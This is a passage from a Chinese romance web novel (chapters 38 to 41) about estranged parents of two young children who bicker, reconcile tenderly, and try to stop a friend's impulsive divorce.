我和你爸爸之间…我们对你和橙橙的亲情更多。” 芯芯像她的地方很多, 她很喜欢,但唯独不喜欢的就是他也继承了打破砂锅问到底的习惯, “那你们为什么不能有爱情?我不懂。” “因为我们两个并不被人祝福。” “我和橙橙祝福呀, 别人的爸妈都有爱情, 我的爸爸妈妈也要有爱情,好不好?” 方楷莹无法回答, 干脆一蹬腿假装睡着, 芯芯便弯起她的发梢轻轻挠她的脸颊,她忍不住笑,用被子把小孩整个卷起来, 芯芯尖尖叫一声,在被子里咯咯的笑。 橙橙也跑到方楷莹的门口,怨怨地说:“芯芯,爸爸让你喊妈妈吃早饭,你怎么也躺下啦?” 一大一小两个人从被子里钻出来,方楷莹凌乱的脑袋上还蒙着被子,笑问橙橙,“你躺会儿吗?” 橙橙扬起脑袋,“我才不玩儿,那是小孩玩儿的,现在是吃早饭的时间。” 方楷莹拉着两个孩子走到楼下,甄世明正手拿两个餐盘放到桌上,晨曦照耀在他身上,基础款的白衣黑裤被他穿得好看,衬衫开一道扣,坚硬的锁骨更显成熟气质。 方楷莹仍为昨晚尴尬,眼神轻觑一下,就掷去别处,甄世明表现如常,看向她时目光平淡,只是烤盘里的面包果酱也被他涂成笑脸形状。 吃过早餐,甄世明让甄芯和甄橙去上楼换衣服,孩子听从号令蹬蹬蹬跑开,他趁这个时间把盘碗放进洗碗机。 方楷莹挪着步子走过去,抓了抓后颈说:“那个我家也改造得差不多了。” 甄世明微怔,回答带着一丝冷漠。 “哦。” “那要不要让橙橙和芯芯去试住一下?”她双手攥在胸前,许愿似的。 甄世明双手撑在水池旁,仔细想了想,说:“不要。” “为什么?”方楷莹挺直腰杆。 甄世明挑眉道:“不为什么,你可以说不要,我也可以说不要,很公平对吧?” “我什么时候” 仔细回想,昨晚他拉起她的手覆在那儿,问她要不要 方楷莹把手按在发烫的脸颊,眼珠转了转,小心翼翼说:“你昨天喝多了。” “你知道我的酒量。”甄世明不接受这个解释,还在放盘子的时候把方楷莹挤开。 方楷莹追着他说:“那是我喝多了。” “你喝那点儿,狗舔完都醉不了。” 方楷莹:“” 她不说话了,甄世明换上大衣,整理领带后拎起两个小书包,孩子还没下楼。 他和方楷莹一起在门口等着,忽然说:“你是怕我会再度纠缠你,不让你自由吗?” 方楷莹:“” “看来是的,那我想问你一句,现在是你在我的家里住对吧?所以你凭什么认为我会再纠缠?”甄世明看着楼梯,只留给她冷峻的侧脸。 “或许”是因为你的种种表现? 方楷莹竖起两根手指做引号,“我不知道我的感觉有没有出问题,我是觉得你对我还挺爱的。” “我对你是纯恨。”他乜了一眼。 方楷莹忽然着急了,“那、那你昨天那样不是想和我‘做.爱’吗?” “请你注意用词,那叫‘性.交’,”他脸色难看,把话说得混蛋,“我寂寞难耐,你又是个女的。” “行。” 方楷莹向来习惯他的刻薄与傲慢,伸出手臂比叉,“我们昨天没做,就很好了,及时止步,非礼勿做,你也认同我的说法吧。” “嗯。”甄世明面无表情。 “我的想法呢是这样,现在橙橙和芯芯都认我了,不如我们分工,让他们在我那住几天,在你这儿住几天,我总住在这儿也不是办法哈。” “嗯,想的很好。”甄世明说:“但我劝你别想,我知道孩子需要妈妈,你如果想搬过来的住的话,我为了孩子,咬咬牙也能同意,但你不能把我儿子带去贫民窟。” “那是人才房!”方楷莹叉腰不服:“品质社区,南北通透,精英聚集,状元摇篮” 甄世明手里拎着小书包,淡淡地嗯了声:“你不去卖房太可惜了。” 方楷莹气结,换了种说法说服他:“我是为了孩子,那里离幼儿园近,你工作忙我可以接,太忙的话他们还可以在那睡,我是为了减轻你的负担。” 甄世明阴阳怪气:“方教授现在学聪明了哦,句句都是为我考虑,听起来还怪顺耳的。在哪儿上的情商课?” 方楷莹刚要张嘴,甄世明睖她一眼,冷冷道:“我从来没觉得甄橙和甄芯是负担。” 她还想说些什么,孩子们跑下楼梯,甄世明也不搭理她,给两个孩子背上小书包,拍了拍背,就出发去幼儿园- 就这样一直僵到上车,橙橙拉住方楷莹的手要上她的车,一个孩子带动另一个孩子,芯芯也麻利地爬上后排,方楷莹将将系好安全带,甄世明就拉开车门稳坐副驾驶。 方楷莹:“” 甄世明:“看什么?开车。” 一路甄世明正襟危坐,到了幼儿园,橙橙又让方楷莹牵着手送他进去,方楷莹一手牵一个孩子,被两个孩子拽着走。 而橙橙昂首挺胸,很大声地和每一个老师小朋友打招呼,逢人就介绍:“这是我的妈妈!我妈妈是科学家!” 方楷莹只想找个地洞钻进去。 招呼打到好朋友嘉豪那里,他爸爸笑着摸了摸橙橙的脑袋,又主动和方楷莹握手,“我儿子和你儿子是好朋友,你的大名我早就久仰。” 方楷莹挤出不自然的微笑,“是孩子跟您说的?” 嘉豪爸爸摇头。 “那您也是科技领域的?” “哦不,前段时间橙橙把两性知识在校园里广泛普及,嘉豪回家说自己是受精卵,说是您说的。” 方楷莹:“” 耗子洞也行。 把孩子扔给老师,方楷莹羞愧难当,几乎是捂着脸跑出校园的,一上车,又对上甄世明的冷脸。 “你怎么还坐在车里?” 甄世明不看她,望着人来人往的幼儿园门口,说:“我在等对我有意思的女家长,跟人家打个招呼。” 方楷莹:“……” 没完了你还。 嘀嘀咕咕低声骂他不要脸,他扭过头说:“你早上跟我说那话的意思是不是要搬走?” “是,我房子弄好了。”方楷莹寻思再不搬走哪一天擦枪走火只会把问题搞得更复杂。 “哦,所以你觉得房子处理好了,你就会把孩子的生活弄得妥帖?” “当然。” 甄世明呵笑一声:“方教授真厉害,要么说您是教授呢,我这五年付出不如您五天。” 方楷莹一直在忍耐,此刻再也忍不了了,“你说话就说话,夹枪带棒什么意思?” “我夸你呢,没有方教授处理不了的问题,感情问题也是如此,这种逃跑的做法我挺欣赏的。” 方楷莹一拍方向盘,眼风狠飞过去:“甄世明!” “怎么了?方楷莹!”他也鼓着胸腔。 方楷莹不和他吵,顺着他说:“你说得对,我就是厉害,我和汪先生在一起之后和他学了很多,现在我不管什么感情问题我都能处理好,怎么样?你——” 话没说完,车载电话响了。 蓝梦在电话里哭得上气不接下气,方楷莹下意识捂住双耳,她在电话里又哭又嚎:“莹莹,我和秦赫感情出问题了,我要和他离婚!” 方楷莹:“……” 扭过头,甄世明看着她。 我看你怎么处理? 方楷莹不会安慰人,只捂住耳朵反复说:“你别哭了。” 甄世明嗤笑一声,开门下车,大衣一角却被人紧紧抓住。 第39章 方楷莹连自己的情感问题都处理不好, 更不用说别人的,刚说的话此刻啪啪打脸,紧抓住甄世明的衣角, 生怕他跑了似的, 同时用求助的可怜眼神看着他。 甄世明重新在副驾驶坐稳,等她缓缓松开发白的手指, 又整理了一下被她抓皱的黑大衣, 双手抱胸,压下唇角睨视她那没出息的样子。 电话里蓝梦哭了好一会儿才堪堪止住哭声,转为骂声:“我们才结婚几个月, 秦赫昨天突然就说要我生孩子, 要一儿一女龙凤胎, 还要高智商宝宝,他说美国有基因编辑技术, 可以决定孩子性别和智商,非得要带我去, 我还寻思怎么这么突然, 晚上拿他手机一看才明白,甄世明那个王八蛋给秦赫发了亲子运动会的视频, 你说他臭显摆什么呀?” 甄世明咬牙狠笑, 刚要出声就被方楷莹捂住嘴。 “我还以为他也就是说说, 结果人家昨晚就把机票买好了,他问过我的想法吗?尊重我的意见吗?拿我当什么了?你说说, 这对吗?” 这对吗? 方楷莹瞅甄世明一眼。 甄世明轻轻摇头, 她得到授意之后开口说:“这当然不对。胚胎优化技术我有听说过,是美国一家科技公司研究出来的,但先不说技术成熟不成熟, 相关一系列衍生的伦理法律问题就很难解决,很多国家现在已经对基因编辑技术做了严格的法律规范,他们竟然还在搞吗?” 电话那头的蓝梦在短暂的沉默中爆发:“我问这个了嘛?!我是问你觉得秦赫的做法对吗?那技术成熟了,伦理问题解决了,他就能拿我当生育工具了吗?!” 对于方楷莹总是找错重点的问题,甄世明也扶额无奈,唇语告诉她“技术不对,秦赫更不对”。 “额”方楷莹攥紧拳头,坚定地说:“技术不对,秦赫更不对!” “那我离家出走你支不支持我?!” “我支持你!” 方楷莹脸颊用力,拳头挥舞。 “那我要和他离婚你支不支持我?!” “我支持你!!” 甄世明看方楷莹那信誓旦旦样子,像进了传销组织的白痴。 “那我无家可归去你家住你支不支持我?!” “我——啊?” 方楷莹挥舞的拳头停在半空,甄世明借机插进话头:“她支持你!” 她眼睛瞪得溜圆,扭头看过去,甄世明仰靠椅背,眉峰微抬,抚摸喉结的懒散动作昭示着这是一个厚颜无耻的混蛋。 电话那头也默然许久,蓝梦声音比刚才还抖得厉害:“我我我没骂人吧?” 甄世明弯唇乐了,“骂了,但我不记仇,”目光睨向方楷莹,他的指节轻叩车窗,幽幽道:“我的记仇本儿上最近写满了方楷莹的名字。” “那就好,那就好。”蓝梦不管方楷莹死活地说,又埋怨她:“你怎么不告诉我少爷也在车上呢?算了,咱两见面说,我收拾收拾洗漱用品就去找你。” “欸”方楷莹刚要阻拦,蓝梦就把电话挂断了。 车内一片安静。 方楷莹看着车载电话被挂断,趴在方向盘上起不来。 她不是不支持好朋友,而是积攒了太多“劝人分手”的经验,从蓝梦大学开始和秦赫谈恋爱,两人每每吵架,蓝梦就找方楷莹哭,而方楷莹能做的除了反复说“你别哭”就是反复说“和他分手”,蓝梦也每次信誓旦旦要分手,然后第二天和好如初。 简直把方楷莹当猴儿耍。 甄世明掰开方楷莹攥紧的拳头,淡定地说:“你先去和蓝梦见面,我找秦赫谈谈。” 下车之后,他又不放心地拉开车门,对方楷莹叮咛:“吃了人家酒席,这次先别劝离。”- 不出意外的,蓝梦见到方楷莹之后,把洗漱包往她家鞋柜一扔,叉腿拤腰坐在沙发,把秦赫骂得狗血淋头,而方楷莹始终牢记甄世明的嘱托,嘴巴夹紧一句话都不说。 蓝梦自己说没劲了,就在方楷莹家里的沙发上躺尸,举起手机下单好几箱啤酒,并问方楷莹:“我住哪个屋?” 汪先生走之后,方楷莹已经把他的卧室改成了儿童房,现在那个房间里放着上下铺的儿童床,窗帘床品都选了橙橙喜欢的多巴胺彩色,地上铺陈卡通地毯。 蓝梦看过之后说:“你还挺用心的,这带滑梯的床挺贵吧,你说你自己花钱抠抠搜搜,给孩子倒挺乐意掏钱的。有了孩子的人是不是都这样?” “我只是想尽自己能力给他们好的。”方楷莹拉开外层纱帘,日光透过窗台,把整个房间晒得温馨暖意。 蓝梦攀上小床梯,在上铺晃腿,说:“也行,找到大学时候上下铺的感觉了,咱两今天喝点儿,我跟你彻夜长谈,好好跟你控诉一下秦赫这些年是怎么对我的!” 方楷莹站在地上低着头,眼珠滴溜溜转,手指在手机屏幕敲得飞快。 【我能不能再住两天?】 打脸就打脸,她宁愿脸肿也不想听这长达五年的恩怨情仇。 甄世明回复:【没劝离吧?】 方楷莹:【没。】 甄世明:【乖。】 她把手机息屏,坐在下铺,双手放在膝上,听蓝梦不停不断地控诉,那感觉如同小时候听妈妈哭诉那样。 蓝梦研究生毕业之后放弃继续读博的机会,就在秦赫的公司上班任闲职。 秦赫是真正的花花公子,而她也一直想通过秦赫改变阶层,两人除了吃喝玩乐就是游山玩水,偶尔有正事儿,她也得在秦赫左右盯梢,以防别的猎人伺机而动趁她不在叼走他,最后蓝梦打败所有敌对分子,终于熬到“胜利”结果。 机关算尽,还是年轻,她没想过自己这个猎人其实是秦家捕获的猎物,而她荒废的青春最终换来的,是在强压下继续贡献自己的生育价值。 如同秦赫昨晚所说:“你没事儿干生个孩子怎么了?你不想生有的是人想给我生!” “甄世明说他会去劝秦赫。”方楷莹安慰着哭泣不止的蓝梦,把“劝离”的话死死压在心里。 蓝梦捂着纸巾擤鼻涕,泪眼朦胧看着方楷莹,愤愤道:“男人没一个好东西,他们在任何时候都是盟友!你知道我们婚礼那天甄世明为什么迟到吗?他在帮秦赫处理失控的前女友!我们女人也要团结起来!不要听信敌人的鬼话!” 方楷莹:“……离,跟他离!”- 另一边,甄世明找到秦赫。 他和蓝梦吵过架心情也不好,大下午就在酒庄喝醉了,仰躺在沙发睡觉,甄世明走过去,两指拎起细瓶颈,瓶口朝下浇在秦赫脸上。 秦赫差点儿呛死,坐起身猛咳,身上的衣裳也被浇湿,抬脸刚要骂,甄世明长腿交叠坐在他的对面,手里还拎着红酒瓶晃悠。 一万句脏话在他脑中闪过,最后一句也没能骂出口,悻悻耷拉着脑袋。 “你怎么睡得着的?”甄世明脸色阴沉,把空酒瓶拿起,细看年份,漫不经心道:“当初求我拦前女友的时候怎么说的?收心了,好好过,你耍我呢?” “你怎么又提这事儿?”秦赫拿过毛巾擦了擦脸上和头发上的红酒。 甄世明眯着眼睛看他,眼神中几分凌厉,完全出于感觉被耍了的愤怒,“赶紧给蓝梦打电话道歉哄回家,别让她再折磨别人了。” “我们家的事儿你别管。” “哦,那以后你家有什么项目审批、立项投标的事儿,你也别来找我。”甄世明把酒瓶往秦赫怀里一扔,转身就走。 “欸!”秦赫匆匆忙忙连滚带爬拦住甄世明:“真生气啊,至于吗?” “至于。”甄世明乜他一眼,“你以为我乐意管你的事儿,蓝梦爱煽风点火,方楷莹又一点就着,她们俩在一起叨咕一下午,全世界没一个好男人,赶快把你老婆带回家,她拿刀捅死你我都不管!” 甄世明把话扔下就走,秦赫在后面喊他:“你去哪儿啊?晚上一起吃饭呗。” “滚蛋,我接孩子!”- 方楷莹把蓝梦安抚好,也拎包去接孩子,远远一看到甄世明就没有好脸色给他。 甄世明看她那幽怨的眼,就苦恼着挠了挠眉心,一走近,方楷莹就后撤一步,嗅到他身上的酒味,皱起眉:“喝酒庆祝去了?” 他眼珠一动,身上就瘫软,高大身躯整个倚住方楷莹的小身板,胳膊圈住她脖颈,任她怎么扑棱都装醉不松。 “秦赫非要借酒浇愁,喝醉了,一感性,就知道错了,说回去给蓝梦跪下,你别管我用什么方式,反正肯定劝他迷途归返了,哎你扶我会儿,头晕难受。” 无赖、流氓、臭不要脸。 方楷莹心里骂道。 但在幼儿园门口,她又不能众目睽睽挥手打去,只能用圆圆硬硬的肩膀一下下怼他。 狗皮膏药贴在身上,别人看起来倒是恩爱夫妻打情骂俏,把方楷莹气得脸红,又拿他没办法,冷冰冰地哼了一声,“不用他迷途知返,我已经劝蓝梦离婚了。” “嗯?”- 回到家,方楷莹把两个孩子拉到身边,说:“爸爸喝醉了,妈妈给你们做晚饭,我最近练习手艺了,今天给你们露一手。” 她把甄世明赶到楼上去睡觉,芯芯看着爸爸走路的姿态和脸色,困惑地眨眨眼睛。 方楷莹给孩子做了西红柿炒鸡蛋,打鸡蛋时橙橙和芯芯一人拎一个小凳子,系好小围裙踩上去。 橙橙撸起袖子洗大米,芯芯在水池旁双手握住西红柿反复冲水,哥俩边帮忙边玩儿,袖口和脸上都溅上水珠,还咯咯笑个不停。 方楷莹给西红柿炒鸡蛋里加了一点点蜂蜜,孩子喜欢的不得了,盘子里都吃得干干净净,芯芯忽然问:“妈妈,锅里给爸爸留饭了吗?” “没,他喝醉了,不会饿。” 他何德何能? 芯芯低着头吃饭,几度欲言又止。 吃过饭她陪孩子们玩儿,和芯芯比赛玩儿魔方,把芯芯赢得扔下魔方撅起小嘴,她却揉了揉芯芯的小脑袋,笑说:“你还得练。” 晚上哄孩子睡觉,芯芯两手扒住被子,乖巧地躺在小床上。 方楷莹讲完睡前故事和他晚安,他却睁着黑亮的眼睛,犹犹豫豫地问:“妈妈,爸爸真的喝醉了吗?” “嗯?” “我见过爸爸喝醉,就过年见过一次。”他伸出一根小手指,指着自己的薄眼皮,若有所思地说:“爸爸喝了酒以后这儿是红的。”又指了指自己的小嘴巴,“这儿也更红。” 方楷莹陷入沉思。 拳头越来越硬。 第40章 芯芯感觉到风雨欲来的低气压, 缩了缩脖子,小心翼翼地说:“妈妈,你说爸爸喝醉了就不会饿, 我只是想爸爸没喝醉的话应该会饿, 如果你能做点儿吃的给他吃……妈妈不说了,我的小眼睛要关门了。” 孩子把被子拉到头顶, 露出一只眼睛观察, 方楷莹脸上红一阵儿白一阵儿,表情严肃,让娃害怕。 她重新把被子给芯芯掖好, 生生挤出笑容, 抚摸他的脑袋瓜, 安慰道:“芯芯是个爱观察的好孩子,也是诚实的孩子, 妈妈很高兴。” 又强调一句:“特别高兴。” 先把芯芯哄睡,方楷莹轻轻关好卧室房门, 攥紧拳头即刻杀入甄世明的卧室。 人不在。 她环顾一周, 床被平平展展,甚至没有睡过的痕迹, 方楷莹迷茫困惑, “大变活人吗?” 推开自己的卧室门。 嗬。 甄世明睡在她的床上, 身上散发刚洗过澡的清爽香味,双眼轻闭, 长腿舒展, 特意给她腾了钻进怀里的位置,被子堪堪遮住胯骨,把紧实的胸肌和漂亮的肩颈线条都显露出来, 英秀眉骨下睫毛轻轻颤抖,饱满的唇微张,为她打开一道欲望的缝隙。 方楷莹以俯视的角度看过去,男人仿佛用尽浑身力气告诉她“我喝醉且妩媚,这是千载难逢的好机会”。 但愤怒使人清醒,比起甄世明的色.气,方楷莹的火气更大,她目光凛然,刚正不阿,喊甄世明的名字时语气生冷僵硬。 甄世明装睡的功力不如装醉,手机的微茫光亮穿透薄被,方楷莹断定在她进来之前,甄世明还在玩手机。 更生气了。 但就是叫不醒装睡的人。 方楷莹环抱手臂,脸对脸地看着他,冷冷发笑,俯在他耳边,用极轻的声音呢喃:“你想看我紫薇吗?” 这几乎是甄世明的执念。 他们当年在一起时,甄世明就在床上问她有没有自己尝试过,她那时年轻,被问得害羞,红着脸点头承认,他便一直说想看,但方楷莹实在做不到在火热目光的注视下触碰自己,最后也没能让他如愿。 如今一听这话,甄世明倏然睁眼,眼前不是香艳的风情,脸上挨了冰冷的巴掌。 人被打懵了。 没等他怒目圆睁,方楷莹比他先一步发作,把床边凌乱的睡衣捡起来,攥在手里狠狠抽在他身上,“你给我起来!你这个混蛋!以前就骗我生孩子,我还以为你现在改了,竟然敢装醉骗我!” 甄世明的肩膀胸口都被抽打出红印,但他不反抗不还手,等她抽累了,甄世明脸上带着愠色,不忿地说:“你也答应我不劝人离婚,你做到了吗?” “我们是女子联盟,你们是蛇鼠一窝!”方楷莹又狠抽了两下,把睡衣撇在他身上,整理好凌乱的头发,恢复冷静的姿态,抱着手臂鄙夷,“你一个当爸爸的人,这么…风骚干什么?赶紧把衣服穿好滚出去!” 甄世明等了一晚上,这会儿让他滚出去可没那么容易,他提唇讽笑,幽幽说道:“我凭什么滚,在自己家睡觉不穿衣服就叫风骚?明明是你自己心里想要,看我就觉得风骚。” “我”方楷莹恨不得咬死他,目光睨向他的手腕纹身,抓起手腕凑在鼻尖闻了闻,终于被她抓到证据:“你就是想勾引我!” 这男士香水是甄世明的床上用品,他平时用的不是这款,只有在特定环境下用,比如和方楷莹肌肤之亲,汗水和香水混合的味道她曾说特别喜欢。 “我取悦自己,不行吗?”甄世明甩开她的手,恼羞成怒,“方楷莹,别总觉得你多了解我似的,五年,人是会变的!” “对!人是会变,我明确告诉你,我现在不吃你这款!” 甄世明颌骨咬紧,瞳色更深,虽然在笑,嗓音压着怒意,“吃姓汪的那款是么?他什么样?还有什么新鲜的是咱俩没做过的?你说我听听。” 方楷莹半天说不出话来。 “说话!”甄世明起身逼近,高大的身躯极具压迫感,冰冷的面目让人汗毛倒竖。 “我我跟你没话说!” 甄世明哂笑,觉得特别没意思,拎起衣服穿好,重新坐在床边,一本正经地说:“我跟你可太有话说了,今天明明告诉你别劝人离婚,你怎么想的?宁拆十座庙不拆一桩婚,这道理你不懂?” “秦赫对蓝梦根本不好。” “你知道她在气头上,说的话不能全信,如果秦赫真的一点儿都不好,蓝梦为什么跟他结婚,凭你对蓝梦的了解,她是个傻蛋吗?”甄世明紧紧皱眉,对方楷莹这种非黑即白的想法感到无语。 方楷莹捂耳,倔倔地说:“我不听你的,你们狼狈为奸,你帮他处理前女友。” “那不然呢?”甄世明被她气笑了,忍不住要数落她:“秦家宴席大摆,宾客满棚,你觉得我当时应该怎么办,和大家一起看秦赫蓝梦的笑话?让秦家明天上头条?你能不能用成年人的思维想问题?!” 方楷莹:“……” 甄世明轻叹口气,“结婚不是谈恋爱,不管之前谈恋爱多久,结婚之后还有需要磨合的地方,现在是家庭秩序建设的阶段,秦赫低一次头,以后就能次次低头,但前提是不能谈崩了,你让蓝梦跟他离,那能不崩吗?动不动就要离婚,那还结什么婚?” 方楷莹也不认为自己有错,他们只是听了不同角度的叙述,从不同的角度考虑。 “这话说得,像你结过婚似的。”方楷莹不服气地说。 甄世明凝目,视线投向方楷莹,短短说了句:“以前我倒是想结来着。” 方楷莹不愿看到他眼中的愁绪,偏过头说:“你现在想和谁结婚都可以结,只要橙橙和芯芯能接受,我没意见。” “好。”他彻底失去争吵的意志,揉了揉眉心,声音低沉、透着伤感:“方楷莹,我们昨晚接吻之后我知道你怕什么,你怕重蹈覆辙,我也怕,但你一定要说这么伤人的话吗?一定要在前一晚吻我,后一晚就伤我吗?绝情的话我听你说了太多,今晚不想再听了。” 他的脸色彻底冷下来,心如死灰槁木,眼似古井无波,走时默然决绝。 “昨天晚上,我梦到我妈了。”方楷莹低声地说。 甄世明已经走到门口,又停住脚步回头,她腰背笔直地坐在床边,双手平放在膝头,脖颈折下像一朵凋零的花。 他抬手轻揉太阳穴,短叹口气,折身返回,站在她面前,手掌轻轻抚摸柔软顺滑的头发,让她的头靠在自己身上,让她愧疚的心找到支撑,不至于垮塌。 “那是意外。”他说。 方楷莹却紧紧闭眼,那一幕幕仿佛昨日发生,她将一切归咎于自己年轻时的叛逆,如果没有认识甄世明,她大概永远没有“叛逆期”。 这很难说,因为没有如果。 “她或许恨我,但她一直爱你。”甄世明全然没了刚才的烦躁,她需要依靠时就让她依靠。 他平静地说:“我每年都带橙橙和芯芯去墓园,有时候我想,如果人去世之后能看清所有前世今生,那么仍未解开的误会是不是能就此明朗?我还会想,如果人去世之后仍有双眼睛在天上,她一定会想见你的孩子。” 柔软的睡衣蓄着他的体温,她搂住劲瘦的腰身,倘若她是自我厌弃的罪人,那么唯一能依靠的便是这罪祸的共犯。 两个人在温良的夜里沉默。 此时她需要有个人捧住她的脸,告诉她这不是她的错,能让她心里好受些许,而这个人,只能是甄世明。 他也确实这样做了,反反复复地说,直到她感觉此时的困倦大于久远的内疚。 “困了吗?” “嗯。” 方楷莹依然抱着他的腰,脸贴着坚硬可靠的腹肌,而此时甄世明却没有任何欲念,心里被一种隐秘的疼痛感占据着。 “睡觉吧,明天醒来就不想了。我们不能让去世的人复活,但能让活着的人继续感受爱意,比如橙橙和芯芯。” 他的声音平缓低沉,像是最好的疗愈师,向她诉说明日醒来时充满希望的情景。 “明天醒来之后芯芯会钻进你的被子里赖床,橙橙会叫你吃早饭,我们早上吃芙蓉汤,送去幼儿园的路上橙橙一定会叽叽喳喳说话,芯芯会加倍努力练习魔方为了有一天战胜妈妈,送下他们之后我会打电话给秦赫和蓝梦,再劝他们和好,然后……” 方楷莹平躺在床上,被轻薄温暖的羽绒被裹住,嗅着他留在被窝里的香味,听着他坐在床边说那些安排妥帖的事情。 她闭上眼睛,小声地说:“然后…我今天还劝蓝梦重新读博来着…” 甄世明:“……”《 》 40-50 第41章 甄世明的唇抿成一条直线, 目光里燃着愤怒小火苗,她却闭眼睡去,完全没有接收到信号, 甄世明只好在心里默念完整篇《莫生气》。 而方楷莹昏昏欲睡之际, 嘴巴还咕哝着说气人的话:“她说为了秦赫放弃读博,而我为了读博放弃了孩子, 我们女人真难, 为什么不能全部拥有呢?” 甄世明实在气不过,趁人睡熟,拨开颈窝的碎发, 屏住呼吸, 在白净修长的颈侧轻轻吸吮一口, 看着鲜艳的吻痕,他不仅消气而且满意, 轻手轻脚退出房间。 第二天早晨。 就如甄世明所说,芯芯一早便钻进她被窝里赖床, 孩子趴在床上, 双手支脸,盯住她的脖颈看了很久, 懵懵懂懂地问:“妈妈, 你也喝酒了咩?” 方楷莹不解, 但学他说话:“咩啊。” 芯芯的手指贴在那片吻痕,“大人喝了酒就会皮肤红吧?你这里红红的。” 对着镜子的方楷莹有点儿懵了, 歪头仰下巴, 怎么也想不起来是什么时候弄的,但是谁弄的,她却很清楚, 毕竟这个家里只有一个贱人。 拉着芯芯噔噔噔下楼,橙橙正在厨房瞎指导,并张着嘴要求爸爸给他尝第一口芙蓉汤。 吃早餐时方楷莹一直不搭理甄世明,他却始终面带微笑欣赏自己的“作品”,毕竟只有近乎完美的嘴唇才能嘬出这么圆嘟嘟的可爱印记。 两人的电话同时在早餐时响起,蓝梦两口子是有点儿该死的默契的。 甄世明主动避开去书房接听,方楷莹让两个孩子乖乖吃饭,走到落地窗前接起电话。 “莹莹,我今天必须跟他离婚!” “少爷,这日子我过不下去!” 事情是这样:秦赫听了甄世明的劝告,主动上门去找蓝梦道歉,见面时蓝梦定的啤酒正好到了,两个人开诚布公来了把“坦白局”。 于是便从“我知道你们家人都嫌我家穷”“我也知道你一直嫌我念水硕”,再到“方楷莹怀孕是你帮甄世明搞定医院瞒着她吧?”“方楷莹申请博士的资料是你给她准备的吧?”,最后坦白到“前女友的微信我是结婚前才删的,之前只是改了备注叫AAA建材王总,她说忘不了我要自.杀。”“前男友的微信我删了,但我们在网抑云聊天,他的新歌名就是我小名。” “我说她怎么一到半夜就emo!” “我说建材王总怎么是个大胸妹!” “早上十点,民政局见!” 甄世明:“” 方楷莹:“” 方楷莹和甄世明几乎同时回到餐桌,孩子们已经吃完早餐自觉上楼换衣,两个人谁都不和谁说话,各怀鬼胎喝着凉掉的芙蓉汤,之后一个收拾桌子,一个把锅碗放进洗碗机。 “一会儿你送孩子,”方楷莹和甄世明同时开口:“我有事儿。” 眼神相撞,又各自掷开目光,两人脸色都伤感,仿佛要去离婚的是他们。 “你也去民政局?”甄世明问。 “嗯。”方楷莹无奈点头。 “送下孩子,一起去吧。” “…行。” 两人共同把孩子送去幼儿园,又一起前往民政局,把车停下,一起趴在前车窗瞭望。 远远看到蓝梦秦赫站在民政局门口,蓝梦戴着墨镜,秦赫戴着口罩。两人背对着背,面目冰冷,一身黑衣,打扮时尚,像来婚姻办事处拍大片的模特,在匆匆而过的人群中,他们既神经又般配。 方楷莹和甄世明各自叹口气,踌躇着缓慢下车走去,谁都没想到第一次来民政局就得去离婚窗口。 “不想再谈了吗?”甄世明突然脾气变好,满怀善意地问蓝梦,“我觉得你们离不了,起码今天离不了,要不换个地方再谈谈?” 蓝梦瞥他一眼,冷漠摇头。 而方楷莹站在高一层台阶上,看着秦赫阴沉的眼睛,纳闷地问:“口罩也是时尚穿搭的一部分?” 秦赫瞪她一眼,摘下口罩。 脸被挠花了。 不知道为什么,方楷莹在人家的离婚现场,情绪管理突然失效,看着秦赫的花脸就憋不住笑,但不敢放声大笑,低着头紧绷嘴唇,肩膀一直抖动。 三个人目光复杂地看着她。 “对不起。”她声音也在颤抖。 甄世明把她揽在怀里,用大衣裹住笑得颤抖的身体,一边担心秦赫动手,一边凶巴巴地捏她后颈骨,低声说:“严肃点儿!” 方楷莹笑了好一会儿才停下,恢复冷静淡泊的面容,又抽走甄世明的西装方巾,偷偷擦拭眼角溢出的泪。 四个人面无表情地走进民政局,秦赫和蓝梦走调解环节,方楷莹和甄世明坐在外面等着。 等着无聊,甄世明走到结婚登记窗口顺了两块喜糖,一块扔进自己嘴里,另一块塞进方楷莹口中。 他嘴里抿着一块糖,看着方楷莹脖颈上的吻痕,痞痞地笑了笑,问:“今天起床没照镜子吗?” 方楷莹拧过头甩给他一个白眼,“看到了,但我懒得和你吵架,不想再添乱了。” “我也不和你吵架。”甄世明松弛瘫坐,长腿交叠,伸展手臂悬于她的背后,手指在长条椅背敲叩,“欸,方楷莹,我想问问,你有没有想过和我结婚?哪怕一次。” 想过吗?想过的。 初恋的时候谁没想过结婚,年少的时候谁不觉得婚姻神圣,一对恋人最好的终点不就是领结婚证吗?以这样的方式宣告忠诚,褒奖恋人,歌颂爱情。 喜糖吃完就该尝生活苦楚了,现在离婚办事处比结婚办事处人多,婚姻不再与爱情挂钩,而与价值相关,就连方楷莹在答应汪先生求婚时考虑的也是他的实用价值。 没意思,她摇摇头。 “一次也没想过?!”甄世明见她摇头,眼睛又立起来。 旁人的目光都投过来,等着看这对“夫妻”怎么吵架,方楷莹觉得尴尬,怕他又发疯,轻轻拍打肩膀哄着。 “你先别激动,不是说不吵架?” 甄世明瞪视一周,强压下火气,拂开她的手整理大衣,漫不经心地说:“我想过,不止一次。” 方楷莹沉默。 她见过的男人不多,但甄世明可以说是对爱情最抱有幻想的一个。 当年她怀孕时,甄世明已经二十七岁,与他年纪相仿的男女青年们大多两种,一种是看透爱情全力搞钱,一种在计较彩礼嫁妆等实际问题,大概只有甄世明还在为爱情声嘶力竭,流着眼泪质问她“到底爱不爱”。 富贵之家出情种。 大概是这个意思吧? 方楷莹想。 没一会儿,秦赫和蓝梦垂头丧气从调解室出来了,每人手里拿了一张离婚冷静期通知书。 甄世明不紧不慢地走过去,对他们一挑眉,“我就说今天离不了吧,宝珠离婚时候也走这套手续,再冷静冷静。” 总是抓错重点的方楷莹先是一愣,又眼睛一亮:“甄宝珠离婚了?” “嗯,你弟弟又有机会了。”甄世明顿了顿:“但别让我妹夫知道,怕你弟弟又断腿。” 方楷莹不解,不是离婚了么? 甄世明解释:“离婚不离家。秦赫,你和蓝梦也能这样,换种方式又能找到谈恋爱的感觉,这一个月你们回家试试,没准下个月就不来离婚了。” 对于甄世明的好言相劝,蓝梦翻白眼切了一声,“我才不呢,姐妹儿我下一步计划重新读博,再也不会让我的身上留下二本的吻痕!” 秦赫后槽牙咬紧,凶巴巴地说:“我跟你说过多少遍了!我在西班牙读过硕士!” “水硕毕业证呢?!”蓝梦抬眉伸手朝他要,“方鸿渐同志?” 秦赫没读完硕士,又不爱看书,连别人嘲讽都听不懂,转向方楷莹问道:“方鸿渐是谁?你爸?” 方楷莹被问懵了,蓝梦哈哈大笑。 “《围城》里的男主角。”甄世明实在看不下去没文化的秦赫再一次吃没文化的亏。 